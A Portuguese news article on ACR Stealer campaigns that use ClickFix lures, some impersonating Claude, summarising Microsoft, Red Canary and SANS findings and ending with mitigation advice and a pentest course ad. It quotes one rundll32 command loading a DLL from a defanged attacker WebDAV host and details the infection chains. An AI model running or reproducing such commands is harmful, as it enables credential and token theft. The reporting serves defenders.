ACR Stealer, um infostealer em circulação desde 2024, está levando de redes corporativas senhas salvas em navegadores, tokens de sessão ativos, PDFs, documentos do Microsoft 365 e arquivos de pastas sincronizadas do OneDrive e do SharePoint.
Ele entra quando alguém cola um comando na caixa Executar e pressiona Enter.
A Microsoft detalhou, na quinta-feira, duas das cadeias de distribuição.
A equipe Defender Experts, braço de detecção gerenciada da empresa, observou a atividade do ACR Stealer crescer nos ambientes de clientes do fim de abril até meados de junho e afirma que as campanhas estão “usando com sucesso iscas de ClickFix para roubar credenciais de navegador, tokens de autenticação e documentos sensíveis”.
As duas cadeias começam com a mesma instrução e depois se dividem: uma deixa rastros em disco, a outra roda quase inteiramente na memória.
As orientações de mitigação da Microsoft recomendam às vítimas revogar tokens, e não apenas trocar senhas.
Um payload nos pixels
Segundo o relatório, a instrução provavelmente chega por meio de malvertising ou de resultados de busca manipulados por SEO.
A cadeia sem arquivos começa quando o comando colado aciona o mshta.exe para buscar conteúdo HTA remoto.
Um loader embutido em VBScript usa objetos COM para decodificar e disparar PowerShell.
Nessa etapa, o código cria um identificador da vítima, desativa a validação de certificado e executa em memória o que foi obtido.
O que ele recupera é um JPEG hospedado em um serviço de imagens, com o payload escondido nos pixels.
Rotinas personalizadas extraem, descriptografam, descompactam e executam o conteúdo de forma reflexiva.
Em seguida, o ataque vai atrás do Chrome e do Edge, lê os bancos de dados Login Data e Web Data e aciona a DPAPI para decifrar senhas, cookies e tokens armazenados ali.
Os PDFs na Área de Trabalho e em Downloads também são levados.
Em 26 de maio, o analista Brad Duncan, do SANS Internet Storm Center, documentou uma infecção no Windows que rastreou até uma página que se passava por Claude, o assistente de IA da Anthropic, acessada por meio de anúncios maliciosos no Google e muitas vezes escondida atrás de URLs do sites.google.com.
A página exibia instruções para macOS quando aberta em um Mac e instruções para Windows quando aberta em um computador com Windows.
A Microsoft não nomeia a isca.
Dois dos indicadores da tabela da Campanha 2, creativecommunityinfo[.]art e enhanceblabber[.]cc, aparecem como host de payload e C2.
O Hacker News associou ambos à cadeia documentada por Duncan, que passou por subdomínios de cada um sete semanas antes, e o relatório da Microsoft cita o diário dele entre as referências.
Essa cadeia também baixou um JPEG de 628 KB do ImgBB, um serviço de hospedagem de imagens.
Duncan sinalizou o arquivo como parte da infecção, mas não encontrou nada aproveitável nele: “também não consegui identificar sinais óbvios de dados embutidos”.
A Red Canary havia registrado iscas com a marca Claude um mês antes, distribuindo o ACR Stealer por meio de páginas falsas do Claude Code no GitLab, como claude-desktop[.]gitlab[.]io.
A outra cadeia deixa digitais
A primeira cadeia da Microsoft grava arquivos em disco, o que dá aos defensores mais elementos para investigar.
O comando colado baixa uma DLL diretamente de um compartilhamento WebDAV via HTTPS, usando um diretório GUID e um nome de arquivo criado para parecer outra coisa; no exemplo do relatório, é google.ct.
A Red Canary publicou a mesma estrutura em seu relatório de maio, com base em telemetria de abril, semanas antes da análise da Microsoft:
"C:\Windows\system32\rundll32.exe" \\sphere-api.dialectosphere.in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1
Duas das três variantes observadas pelo Defender Experts usam pushd para montar o compartilhamento remoto como uma unidade local temporária antes, de modo que o payload seja executado por um caminho que parece local.
A versão mais furtiva envolve isso em conhost.exe --headless para fechar a janela do console e esconde as strings de pushd, rundll32 e do host remoto com expansão tardia de variáveis de ambiente.
Depois vem o PowerShell ofuscado.
Ele deposita um arquivo ZIP em uma pasta sob %LocalAppData%\Temp com um nome inofensivo; o exemplo da Microsoft é LogiOptionsPlus.
Um pythonw.exe incluído então inicia o script em Python, sem mostrar nada na tela.
O instalador apaga cópias anteriores antes de instalar, o que dá a ele aparência de atualização.
A persistência ocorre por meio de uma tarefa agendada oculta que se passa por atualização de software, copia marcas de tempo de notepad.exe para seus próprios arquivos e apaga o histórico do PowerShell.
A etapa final permanece na memória e transfere a execução por meio da Windows Fiber API.
Em uma parte dessas intrusões, um segundo loader em Python se comunica com endpoints públicos de RPC de blockchain e infraestrutura de nós Web3, provavelmente buscando um payload ou um endereço de C2 em um ledger público.
A Microsoft chama essa técnica de EtherHiding: coloque o ponteiro em um smart contract e não há mais um resolvedor controlado pelo invasor para ser tomado.
Sem bug, sem números
Nenhuma das cadeias explora uma vulnerabilidade.
Ambas usam exatamente os privilégios que o usuário já tem, e todas as camadas seguintes, da montagem WebDAV à extração dos pixels e à transferência em memória, só acontecem porque alguém leu uma instrução e pressionou Enter.
Não há CVE nessa história.
Aplicar patch não remove o caminho de copiar e executar.
A Microsoft afirma que as iscas estão funcionando, mas não quantifica isso.
O relatório não traz número de vítimas, nem quantidade de clientes afetados, nem uma base para a alta que descreve.
A telemetria de abril da Red Canary, ao menos, traz números.
O ClearFake, um cluster de web inject que vem entregando ACR Stealer desde pelo menos março de 2025, ocupou o primeiro lugar na lista de ameaças mais prevalentes pela primeira vez naquele mês, e o ACR Stealer entrou no top 10 empatado em sexto lugar.
O cluster distribui o malware por meio de JavaScript injetado em sites comprometidos, e o relatório da Microsoft não menciona isso em nenhuma das cadeias.
De quem é esse stealer?
A Microsoft é cuidadosa sobre o que afirma.
A empresa relaciona a atividade ao ACR Stealer com base no comportamento observado e nas táticas pós-exploração, cruzando isso com o que se sabe publicamente sobre a infraestrutura da família, mas não atribui a atividade a nenhum threat actor específico.
A cautela faz sentido.
O ACR, também descrito como AcridRain, foi divulgado em fóruns em russo por um ator conhecido como SheldIO, que encerrou as vendas em julho de 2024.
As versões sobre o que aconteceu depois divergem.
A eSentire diz que o código-fonte foi vendido.
A versão da Proofpoint é diferente: o mesmo canal no Telegram anunciou o encerramento, e não uma despedida da equipe, e o painel da Amatera surgiu cinco meses depois.
Na mudança de marca, porém, há consenso.
A Proofpoint relatou em junho de 2025 que “o ACR Stealer foi significativamente atualizado e rebatizado como Amatera Stealer”, com preço de US$ 199 por mês a US$ 1.499 por ano.
A Red Canary trata ACR e Amatera como uma única família e avalia o ACR como uma versão atualizada do GrMsk Stealer.
Uma detecção de julho de 2026 rotulada como ACR Stealer é, na prática, uma chamada comportamental sobre uma base de código que já foi renomeada ao menos uma vez e talvez tenha mudado de dono.
O rótulo descreve o código.
Não diz quem o está operando.
Onde parar isso
Há um controle que vem antes de todas as técnicas acima: nenhuma das cadeias funciona sem que o usuário cole um comando na caixa Executar.
Corte o vetor.
A eSentire recomenda remover o prompt Executar por meio de GPO e bloquear o mshta.exe com AppLocker ou WDAC.
Use controle de aplicações e regras de redução da superfície de ataque para impedir que PowerShell, Python, mshta.exe e rundll32.exe iniciem conteúdo entregue pela internet a partir de Downloads, Temp ou %LocalAppData%.
Procure o rundll32.exe sendo executado sem parâmetros na linha de comando enquanto faz uma conexão de rede, que é a oportunidade de detecção da Red Canary para essa família.
Adicione tarefas agendadas disfarçadas de atualização de software, timestomping e limpeza do histórico do PowerShell.
Em um host suspeito, isole a máquina, troque credenciais, revogue tokens e verifique conexões de saída para compartilhamentos remotos e serviços de hospedagem de imagens.
A Microsoft divulgou três consultas de hunting do Defender XDR e 16 domínios de campanha junto com o relatório.
Esses indicadores são apenas uma amostra, e o próprio relatório diz isso: representativos, não o alcance completo da família, com outras campanhas e infraestrutura provavelmente ainda ativas.
Domínios mudam.
A pergunta no início não muda, porque funciona.
As iscas se sobrepõem em vez de se substituírem: a Red Canary viu CAPTCHAs falsos e páginas falsas do Claude na mesma telemetria de abril.
Publicidade
Vibecoding cria 10x mais sistemas, 20x mais vulneráveis. E quem ganha com isso é a galera do hacking ético e pentest. Quer ser pago para invadir sistemas? Então você tem que aprender com a Solyd que são os melhores do Brasil. Saiba mais...